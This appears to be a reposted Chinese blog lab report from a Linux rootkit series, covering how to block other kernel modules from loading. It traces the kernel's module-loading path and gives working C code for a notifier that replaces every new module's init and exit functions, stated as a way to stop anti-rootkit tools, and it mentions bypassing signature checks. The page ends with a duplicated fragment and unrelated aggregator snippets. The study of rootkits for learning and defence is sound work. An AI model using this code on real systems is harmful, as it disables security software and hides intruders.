Linux Rootkit实验|0200 基本功能之阻止模块加载

Linux Rootkit实验|0200 基本功能之阻止模块加载

11 May 2017

文章目录

  • Linux Rootkit实验|0200 基本功能之阻止模块加载
    • 实验说明
    • 实验环境
    • 实验过程
      • 控制内核模块加载
    • 实验总结与思考
    • 拓展延伸
    • 参考资料
    • 参考资料

醉里挑灯看剑,梦回吹角连营。八百里分麾下炙,五十弦翻塞外声,沙场秋点兵。

实验说明

本次实验将初步实现rootkit的基本功能:

  • 阻止其他内核模块加载
  • 提供root后门
  • 隐藏文件
  • 隐藏进程
  • 隐藏端口
  • 隐藏内核模块

本次实验基于01实验中学习的挂钩技术。

注:由于本次实验内容过多,故分为0005六个实验报告分别讲解。

本节实现“阻止其他内核模块加载”功能

本系列实验学习自 novice 师傅。感谢师傅的无私分享!

实验环境

uname -a:
Linux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux

GCC version:6.1.1

上述环境搭建于虚拟机,另外在没有特殊说明的情况下,均以root权限执行。

注:后面实验参考的是4.10.10的源码

实验过程

控制内核模块加载

首先如果可以,把进来的漏洞堵上,防止其他人进入系统。接下来,就是阻止可能有威胁的内核代码执行(如Anti-rootkit之类),这个有些难,我们先做到控制内核模块的加载,之后才是提供其他功能。先保障生存再展开工作 😃

控制内核模块的加载,可以从通知链机制开始。“简单来讲,当某个子系统或者模块发生某个事件时,该子系统主动遍历某个链表,而这个链表中记录着其他子系统或者模块注册的事件处理函数,通过传递恰当的参数调用这个处理函数达到事件通知的目的。”

当我们注册一个模块通知处理函数,在模块完成加载后,开始初始化前,状态为MODULE_STATE_COMING时,我们把它的入口函数和出口函数替换掉,就达到了阻止模块加载的目的。下面结合内核源码进行解释:

首先进入init_module的定义,它的行为非常好理解:

// kernel/module.c
SYSCALL_DEFINE3(init_module, void __user *, umod,
		unsigned long, len, const char __user *, uargs)
{
	int err;
	struct load_info info = { };
	// 检查内核是否允许加载模块
	err = may_init_module();
	if (err)
		return err;

	pr_debug("init_module: umod=%p, len=%lu, uargs=%p\n",
	       umod, len, uargs);
	// 把模块从用户区复制到内核区
	err = copy_module_from_user(umod, len, &info);
	if (err)
		return err;
	// 交给 load_module 函数进一步处理
	return load_module(&info, uargs, 0);
}

接着跟进到load_module中。这个函数有点长,我们只看关注的地方:

// kernel/module.c
static int load_module(struct load_info *info, const char __user *uargs, int flags)
{
	...
    // 检查模块签名,在内核编译时配置了`CONFIG_MODULE_SIG`才会生效
	err = module_sig_check(info, flags);
	if (err)
		goto free_copy;
	...
	/* Finally it's fully formed, ready to start executing. */
    // 到这里,模块已经完成加载,即将执行
	err = complete_formation(mod, info);
	if (err)
		goto ddebug_cleanup;
    // 我们注册的通知处理函数将在`prepare_coming_module`被调用
	err = prepare_coming_module(mod);
	if (err)
		goto bug_cleanup;
	...
	/* Link in to syfs. */
    // 这一步使模块与 sysfs 发生联系,虽然我们后边用不到,但还是说一下
	err = mod_sysfs_setup(mod, info, mod->kp, mod->num_kp);
	if (err < 0)
		goto coming_cleanup;
    ...
    // 在这里,模块的入口函数将被执行,但是已经被我们替换过了 :)
	return do_init_module(mod);

上面的module_sig_check函数我们暂时不需要关注,这里列出来是为了提醒大家,如果内核开启了模块签名检查的选项,那么为了加载 rootkit 需要绕过这个防御措施。那时,可以从这个地方的代码入手(但是似乎内核签名检查要求不是很严格)。

下面我们跟进看一下prepare_coming_module

static int prepare_coming_module(struct module *mod)
{
	int err;

	ftrace_module_enable(mod);
	err = klp_module_coming(mod);
	if (err)
		return err;
	// 这里是关键点!它会调用通知链中的通知处理函数,
    // MODULE_STATE_COMING 会传递给我们的处理函数
	blocking_notifier_call_chain(&module_notify_list,
				     MODULE_STATE_COMING, mod);
	return 0;
}

相当于,内核告诉模块通知链的通知处理函数一个信息:MODULE_STATE_COMING,即一个模块准备好了,同时把这个模块传递给处理函数。我们只需要在处理函数中用假的入口/出口函数替代掉模块自己的入口/出口函数。

跟进到blocking_notifier_call_chain

// kernel/notifier.c
int blocking_notifier_call_chain(struct blocking_notifier_head *nh, unsigned long val, void *v)
{
	return __blocking_notifier_call_chain(nh, val, v, -1, NULL);
}

再跟进:

int __blocking_notifier_call_chain(struct blocking_notifier_head *nh, \
	unsigned long val, void *v, \
    int nr_to_call, int *nr_calls)
{
	int ret = NOTIFY_DONE;

	/*
	 * We check the head outside the lock, but if this access is
	 * racy then it does not matter what the result of the test
	 * is, we re-check the list after having taken the lock anyway:
	 */
	if (rcu_access_pointer(nh->head)) {
		down_read(&nh->rwsem);
        // 这里!它将调用我们的通知处理函数
		ret = notifier_call_chain(&nh->head, val, v, nr_to_call,
					nr_calls);
		up_read(&nh->rwsem);
	}
	return ret;
}

跟进到notifier_call_chain

/**
 * notifier_call_chain - Informs the registered notifiers about an event.
 *	@nl:		Pointer to head of the blocking notifier chain
 *	@val:		Value passed unmodified to notifier function
 *	@v:		Pointer passed unmodified to notifier function
 *	@nr_to_call:	Number of notifier functions to be called. Don't care
 *			value of this parameter is -1.
 *	@nr_calls:	Records the number of notifications sent. Don't care
 *			value of this field is NULL.
 *	@returns:	notifier_call_chain returns the value returned by the
 *			last notifier function called.
 */
static int notifier_call_chain(struct notifier_block **nl,
			       unsigned long val, void *v,
			       int nr_to_call, int *nr_calls)
{
	int ret = NOTIFY_DONE;
	struct notifier_block *nb, *next_nb;
	nb = rcu_dereference_raw(*nl);

	while (nb && nr_to_call) {
		next_nb = rcu_dereference_raw(nb->next);
    	...
        // 这里!最终调用了我们的处理函数
		ret = nb->notifier_call(nb, val, v);
    ...
}

注意,用于描述通知处理函数的结构体是struct notifier_block,这可以从负责注册/注销模块通知处理函数的函数那里看到(它们传入的参数正是):

// kernel/module.c
int register_module_notifier(struct notifier_block *nb)
{
	return blocking_notifier_chain_register(&module_notify_list, nb);
}
int unregister_module_notifier(struct notifier_block *nb)
{
	return blocking_notifier_chain_unregister(&module_notify_list, nb);
}

对于如何注册我们就不再跟进了。大家有兴趣可以跟进看看。我们下面跟进到struct notifier_block结构体的定义:

struct notifier_block;

typedef	int (*notifier_fn_t)(struct notifier_block *nb,
			unsigned long action, void *data);

struct notifier_block {
	notifier_fn_t notifier_call;
	struct notifier_block __rcu *next;
	int priority;
};

也就是说,我们编写一个通知处理函数,然后填充一个struct notifier_block,最后用register_module_notifier注册就可以了。

下面开始干活!

首先,声明一个通知处理函数,并填充结构体:

int module_notifier(struct notifier_block *nb,
                unsigned long action, void *data);

struct notifier_block nb = {
    .notifier_call = module_notifier,
    .priority = INT_MAX
};

然后实现通知处理函数(这里实在佩服novice师傅,这代码我一时半会真的写不出来,需要学习内核开发的知识。读代码理解代码是一回事,hack代码是另一回事):

int fake_init(void);
void fake_exit(void);

int module_notifier(struct notifier_block *nb,
                unsigned long action, void *data)
{
    struct module *module;
    unsigned long flags;
    // 定义锁。
    DEFINE_SPINLOCK(module_notifier_spinlock);

    module = data;
    printk("Processing the module: %s\n", module->name);

    //保存中断状态加锁。
    spin_lock_irqsave(&module_notifier_spinlock, flags);
    switch (module->state) {
    case MODULE_STATE_COMING:
        printk("Replacing init and exit functions: %s.\n",
                 module->name);
        // 偷天换日:篡改模块的初始函数与退出函数。
        module->init = fake_init;
        module->exit = fake_exit;
        break;
    default:
        break;
    }

    // 恢复中断状态解锁。
    spin_unlock_irqrestore(&module_notifier_spinlock, flags);
    return NOTIFY_DONE;
}

int fake_init(void)
{
    printk("%s\n", "Fake init.");
    return 0;
}

void fake_exit(void)
{
    printk("%s\n", "Fake exit.");
    return;
}

最后,分别在入口和出口函数中注册和注销:

// init
register_module_notifier(&nb);
// exit
unregister_module_notifier(&nb);

测试结果如下:

首先我们在正常情况下加载以及清除lamb模块:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

接着我们加载guard模块,再测试lamb模块。可以看到,我们先加载guard模块,再加载lamb模块,它的入口和出口函数已经被Fake替换。我们卸载lambguard,再次加载lamb模块,发现加载和卸载又恢复正常。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

实验总结与思考

感觉Linux kernel虽然是用C写的,但有很鲜明的面向对象的特点。尤其是在结构体中嵌入函数指针作为成员,几乎就是类+方法的翻版。带着这种背景观点去探索源码可能会好一些,你看到某些结构体,可以猜测它们会不会有对应的一些方法。

从探索模块加载过程的旅程来看,阅读内核源码没有想象中的难,也并非枯燥,而是充满了乐趣,也许是因为带着问题去探索吧。

我们注意到,上面的通知处理函数使用了锁机制。这是内核编程中经常需要注意的。

拓展延伸

通知链介绍

在Linux内核中,各个子系统之间有很强的相互关系,某些子系统可能对其它子系统产生的事件感兴趣。为了让某个子系统在发生某个事件时通知感兴趣的子系统,Linux内核引入了通知链技术。通知链只能够在内核的子系统之间使用,而不能够在内核和用户空间进行事件的通知。

简单来说,通知链就是一个单向链表。

通知链代码主要位于kernel/notifier.ckernel/notifier.h中。

通知链的核心是:

struct notifier_block;

typedef	int (*notifier_fn_t)(struct notifier_block *nb,
			unsigned long action, void *data);
struct notifier_block {
	notifier_fn_t notifier_call;
	struct notifier_block __rcu *next;
	int priority;
};

上面的__rcu是编译器相关的宏定义,我们暂时不去管它。

其中notifier_call即通知处理函数的指针,*next是链表的指针,priority是优先级,同一条通知链上的节点数字越高,优先级越大,其处理函数就会优先被执行。这也是我们上边把priority设定为INT_MAX的原因。

内核中定义了四种通知链类型,如下:

struct atomic_notifier_head {
	spinlock_t lock;
	struct notifier_block __rcu *head;
};

struct blocking_notifier_head {
	struct rw_semaphore rwsem;
	struct notifier_block __rcu *head;
};

struct raw_notifier_head {
	struct notifier_block __rcu *head;
};

struct srcu_notifier_head {
	struct mutex mutex;
	struct srcu_struct srcu;
	struct notifier_block __rcu *head;
};

kernel/notifier.h的注释解释了它们之间的区别:

/*
 * Notifier chains are of four types:
 *
 *	Atomic notifier chains: Chain callbacks run in interrupt/atomic
 *		context. Callouts are not allowed to block.
 *	Blocking notifier chains: Chain callbacks run in process context.
 *		Callouts are allowed to block.
 *	Raw notifier chains: There are no restrictions on callbacks,
 *		registration, or unregistration.  All locking and protection
 *		must be provided by the caller.
 *	SRCU notifier chains: A variant of blocking notifier chains, with
 *		the same restrictions.
 */

参照kernel/module.h可以看出,module依赖的通知链是blocking类型:

static BLOCKING_NOTIFIER_HEAD(module_notify_list);

int register_module_notifier(struct notifier_block *nb)
{
	return blocking_notifier_chain_register(&module_notify_list, nb);
}

更多关于通知链的内容,请阅读【参考资料】。

参考资料

r.

  • SRCU notifier chains: A variant of blocking notifier chains, with
  •  the same restrictions.
    

*/


参照`kernel/module.h`可以看出,`module`依赖的通知链是`blocking`类型:

```c
static BLOCKING_NOTIFIER_HEAD(module_notify_list);

int register_module_notifier(struct notifier_block *nb)
{
	return blocking_notifier_chain_register(&module_notify_list, nb);
}

更多关于通知链的内容,请阅读【参考资料】。

参考资料

  • linux内核通知链

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/374140.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Multisim14.0仿真(五十三)时、分、秒、毫秒数字计时器

一、仿真效果&#xff1a; 二、时钟脉冲配置&#xff1a; 三、24进制计数&#xff1a; 四、60进制计数&#xff1a;

docker安装zpan

安装 1.创建数据库 docker run -di --namezpan_mysql -p 3309:3306 -e MYSQL_ROOT_PASSWORD123456 mysql 2.手动新建数据库zpan 3.创建目录 mkdir -p /opt/zpan cd /opt/zpan 4.编写配置文件 vim config.yml #详细配置文档可参考&#xff1a; https://zpan.space/#/zh…

Python OpenCV实现图片像素区域缩放

Python OpenCV实现图片像素区域缩放 前言项目安装OpenCV和Pillow思路代码编写 前言 遇到一个要将大量图片缩放成统一规格的难题&#xff0c;并且这些图片周围还有很多空白像素&#xff0c;所以用Python实现一下。 项目 安装OpenCV和Pillow pip install opencv-python pip …

ubuntu22.04@laptop OpenCV Get Started: 001_reading_displaying_write_image

ubuntu22.04laptop OpenCV Get Started: 001_reading_displaying_write_image 1. 源由2. Read/Display/Write应用Demo2.1 C应用Demo2.2 Python应用Demo 3. 过程分析3.1 导入OpenCV库3.2 读取图像文件3.3 显示图像3.4 保存图像文件 4. 总结5. 参考资料 1. 源由 读、写、显示图像…

[python]anaconda3里面pyqt6配置到pycharm配置designer pyuic pyrcc

安装pyqt6 pip install pyqt6 pyqt6-tools pycharm 配置 配置designer pycharm -->> setting —>> External Tools 点击 Program : D:\ProgramData\Anaconda3\Lib\site-packages\qt6_applications\Qt\bin\designer.exe Working directory : $ProjectFileDir$…

私有化部署一个吃豆人小游戏

目录 效果 安装步骤 1.安装并启动httpd 2.下载代码 3.启动httpd 使用 效果 安装步骤 1.安装并启动httpd yum -y install httpd 2.下载代码 进入目录 cd /var/www/html/ 下载 git clone https://gitee.com/WangZhe168_admin/pacman-canvas.git 3.启动httpd syste…

layui-实现上下表,父子表复选框加载事件

layui-实现上下表&#xff0c;父子表复选框加载事件 实现效果说明代码HTML代码表格数据加载监听复选框选择事件点击表格任意单元格&#xff0c;选中复选框和取消复选框选中 效果图 实现效果说明 点击任意单元格&#xff0c;选中复选框&#xff0c;并加载子表数据&#xff0c;选…

Visual Studio 20XX控制台程序鼠标点击阻塞问题

文章目录 方法一方法二 在Visual Studio 20xx编写的控制台程序中&#xff0c;当鼠标点击控制台时&#xff0c;会阻塞控制台程序运行&#xff0c;不按回车无法继续运行。 方法一 右击控制台标题栏&#xff0c;选择属性&#xff0c;去掉快速编辑模式(Q)的勾选&#xff0c;如&…

政安晨:政安晨:机器学习快速入门(三){pandas与scikit-learn} {模型验证及欠拟合与过拟合}

这一篇中&#xff0c;咱们使用Pandas与Scikit-liarn工具进行一下模型验证&#xff0c;之后再顺势了解一些过拟合与欠拟合&#xff0c;这是您逐渐深入机器学习的开始&#xff01; 模型验证 评估您的模型性能&#xff0c;以便测试和比较其他选择。 在上一篇中&#xff0c;您已经…

橘子学linux调优之工具包的安装

今天在公司无聊的弄服务器&#xff0c;想着有些常用的工具包安装一下&#xff0c;这里就简单记录一下。 一、sysstat的安装和使用 1、安装 我是通过源码的方式安装的&#xff0c;这样的好处在于可以自由选择你的版本&#xff0c;很直观。 直接去github上找到sysstat的地址&a…

P1131 [ZJOI2007] 时态同步

题目描述 小 Q 在电子工艺实习课上学习焊接电路板。一块电路板由若干个元件组成&#xff0c;我们不妨称之为节点&#xff0c;并将其用数字 1,2,3⋯1,2,3⋯ 进行标号。电路板的各个节点由若干不相交的导线相连接&#xff0c;且对于电路板的任何两个节点&#xff0c;都存在且仅存…

回归预测 | Matlab实现OOA-CNN-LSTM-Attention鱼鹰算法优化卷积长短期记忆网络注意力多变量回归预测(SE注意力机制)

回归预测 | Matlab实现OOA-CNN-LSTM-Attention鱼鹰算法优化卷积长短期记忆网络注意力多变量回归预测&#xff08;SE注意力机制&#xff09; 目录 回归预测 | Matlab实现OOA-CNN-LSTM-Attention鱼鹰算法优化卷积长短期记忆网络注意力多变量回归预测&#xff08;SE注意力机制&…

若依整合mybatis-plus

文章目录 1.注释掉原本的MybatisConfig2. 将mybatis的配置文件改为mybatis-plus文件 ##前言 出先下列异常&#xff1a; 请求地址’/prod-api/user’,发生未知异常. org.apache.ibatis.binding.BindingException: Invalid bound statement (not found): com.ruoyi.web.mapper.Us…

PHP客服系统-vue客服聊天系统

PHP-Vue客服聊天系统是一款高效、灵活的客户服务解决方案&#xff0c;基于ThinkPHP6、Vue3和Workerman(Gateworker)框架开发&#xff0c;专为单商户场景打造。 系统亮点&#xff1a; 分布式部署支持&#xff0c;轻松应对高并发场景&#xff1b;本地消息存储功能&#xff0c;确…

js中typeof 与 instanceof 的区别

文章目录 一、typeof二、instanceof三、区别 一、typeof typeof 操作符返回一个字符串&#xff0c;表示未经计算的操作数的类型 使用方法如下&#xff1a; typeof operand typeof(operand)operand表示对象或原始值的表达式&#xff0c;其类型将被返回 举个例子&#xff1a;…

网络爬虫,使用存放在C的谷歌驱动报错

月 06, 2024 11:43:40 上午 org.openqa.selenium.os.OsProcess checkForError 严重: org.apache.commons.exec.ExecuteException: Execution failed (Exit value: -559038737. Caused by java.io.IOException: Cannot run program "C:\chromedriver121.exe" (in dir…

nvm安装node后,npm无效

类似报这种问题&#xff0c;是因为去github下载npm时下载失败&#xff0c; Please visit https://github.com/npm/cli/releases/tag/v6.14.17 to download npm. 第一种方法&#xff1a;需要复制这里面的地址爬梯子去下载&#xff08;github有时不用梯子能直接下载&#xff0c;有…

远程主机可能不符合 glibc 和 libstdc++ Vs Code 服务器的先决条件

vscode连接远程主机报错&#xff0c;原因官方已经公布过了&#xff0c;需要远程主机 glibc>2.28&#xff0c;所以Ubuntu18及以下版本没法再远程连接了&#xff0c;其他Linux系统执行ldd --version查看glibc版本自行判断。 解决方案建议&#xff1a; 不要再想升级glibc了 问题…

完全背包理论基础 C++力扣题目518--零钱兑换II

动态规划&#xff1a;完全背包理论基础 本题力扣上没有原题&#xff0c;大家可以去卡码网第52题 (opens new window) #思路 #完全背包 有N件物品和一个最多能背重量为W的背包。第i件物品的重量是weight[i]&#xff0c;得到的价值是value[i] 。每件物品都有无限个&#xff0…

华为环网双机接入IPTV网络部署案例

环网双机接入IPTV网络部署案例 组网图形 图2 环网双机场景IPTV基本组网图 方案简介配置注意事项组网需求数据规划配置思路操作步骤配置文件 方案简介 随着IPTV业务的迅速发展&#xff0c;IPTV平台承载的用户也越来越多&#xff0c;用户对IPTV直播业务的可靠性要求越来越高。…
最新文章